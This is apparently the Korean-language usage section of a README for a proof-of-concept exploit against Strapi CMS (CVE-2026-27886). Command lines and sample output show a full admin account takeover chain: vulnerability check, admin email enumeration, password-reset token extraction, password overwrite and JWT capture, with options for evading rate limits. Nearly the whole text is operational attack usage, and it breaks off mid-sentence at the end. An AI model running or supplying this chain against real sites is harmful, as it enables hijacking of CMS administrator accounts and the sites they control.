
Account takeover full PoC for CVE-2026-27886 in Strapi CMS
4개의 HTTP 요청 그룹으로 전체 계정 탈취 체인을 자동화합니다:
익스플로잇 없이 대상이 취약한지 확인:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
관리자 이메일을 모르는 경우 모든 것을 자동화:
./cve-2026-27886-exploit.py https://target/api/articles
출력:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
관리자 이메일을 이미 알고 있는 경우(약 500개 요청 절약):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
기본값 대신 사용자 정의 비밀번호 설정:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
대상에 속도 제한이 있는 경우:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
각 요청 사이에 100ms를 추가합니다(전체 익스플로잇에 약 2-3분 소요).
/admin/* 엔드포인트가 다른 호스트에 있는 경우:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles 등updated_by_id 외래 키 없음)--delay 0.05 이상 추가이 스크립트: